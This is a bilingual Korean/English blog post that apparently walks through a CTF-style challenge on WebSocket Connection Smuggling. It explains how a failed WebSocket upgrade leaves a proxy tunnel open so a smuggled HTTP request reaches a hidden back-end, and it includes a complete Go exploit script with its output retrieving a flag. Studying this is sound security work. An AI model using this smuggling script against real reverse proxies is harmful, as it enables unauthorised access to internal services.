웹 소켓의 새로운 공격 기법! WebSocket Connection Smuggling 😈

오늘은 WebSocket Connection Smuggling에 대한 이야기를 할까 합니다. Hacktivity 2019 컨퍼런스에서 발표된 내용이고, 신기한거 같아서 몇번 테스트해보니 실제 케이스에서 발생할 수 있는 문제로 보이네요.. (저 멀리 헝가리에서 하는 컨퍼런스라 가본적도 없고한데, 볼만한 내용들이 좀 있네요!)

Today i’m going to talk about WebSocket Connection Smuggling. It was announced at the Hacktivity 2019 conference, and it was kind of amazing, so I tested it a few times and it looked like a real problem.

What is Vulnerable?

우선 웹 소켓의 통신 절차부터 봐야합니다. 초기 핸드쉐이크 과정 이후 WebSocket Connection을 맺는 순서로 동작합니다. 보통은 Origin 관련 부분인 CSWSH 취약점이나 ws:// 사용 여부, 이후 커넥션 중 발생할 수 있는 여러 보안적인 이슈를 분석하는데요. 0ang3el은 커넥션 자체 과정에서 문제를 발견헀습니다.

Socket’s protocol’s first you need to know. The WebSocket is connected after the handshake process as shown below. Usually, hackers will mainly analyze actions after CSWSH attacks or unencrypted communications (ws://) connections.

But, 0ang3el found Protocol by itself and the problem of this connection. it is smuggling is possible.

웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 TLS Connection이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.

즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다. (G/W 방식이던, Front-End가 별개로 있던 동일합니다)

Error response 426 occurs when the HTTP Upgrade Request of invalid in Secret-WebSocket-Version header.

What’s interesting is that the client and Web socket server have TLS Connection, which does not use Web socket communication. This means that you have a tunnel that can handle HTTP requests, and if the user sending the HTTP request format without close the connection, the Back-End socket server in processes it and forwards it to the user. This allows an attacker to invoke unauthorized APIs.

이로인해 공격자는 허가되지 않은 API를 호출할 수 있게 됩니다.

Let’s test!

“0ang3el”가 테스트 환경을 구축해두었습니다.

Lucky!! “0ang3el” built a test environment.

https://challenge.0ang3el.tk/websocket.html

FE

- Reverse Proxy
- Socketio.js
- Only Access /socket.io/

BE

- localhost:5000 only

Back-End는 직접 접근이 불가능합니다.

Back-end is not accessible directly.

nc challenge.0ang3el.tk 5000 -v
Warning: Inverse name lookup failed for `157.245.130.48'
challenge.0ang3el.tk [157.245.130.48] 5000 (commplex-main): Connection refused

간단하게 코드짜서 테스트해보면.. 가능합니다 :)

But, you can access the Back-End Server through WebSocket Connection Smuggling on the code below.

go run smugws.go
2019/10/30 18:20:09 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Wed, 30 Oct 2019 09:20:09 GMT
{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Wed, 30 Oct 2019 09:20:09 GMT
    �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"cff0caad2bbc48d48ce6ffd3ed444ff4"}�40

Code(https://github.com/hahwul/websocket-connection-smuggling-go)

package main
import (
    "log"
    "net"
    "io"
)
func main() {
    conn, err := net.Dial("tcp", "challenge.0ang3el.tk:80")
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /socket.io/?transport-websocket HTTP/1.1\r\nHost: localhost:80\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\n\r\n"
    req2 := "GET /flag HTTP/1.1\r\nHost: localhost:5000\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}

proxychains 를 통해 프록시로 잡아서 보면, Response에는 데이터가 잡히지 않지만 실제 소켓의 바이너리를 보면 스머글링된 결과를 사용자에게 보내줍니다.

If you catch it as a request/response through proxy, you don’t see special response, but look at the data of the socket stream, the result received.

proxychains4 ./websocket-connection-smuggling-go
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.14/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:8080  ...  challenge.0ang3el.tk:80  ...  OK

Found!

Conclusion

이외에도… 여러 케이스가 존재합니다.. status만 체크하는 경우 에도 가능하고, 에러 connetion을 맺을 수 있는 여러 방법이 있을 것 같습니다.. 요즘 느끼는건, 예전과 다르게 웹 공격 방식이 엄청 빠르고 독특하게 변화하는 것 같습니다. 공부할건 산더미라 새로운 걸 발견하기 이전에 새로운 기법들을 따라가기도 바쁜 느낌입니다.

In addition to the above cases, many cases are expec. Thank you :)

Reference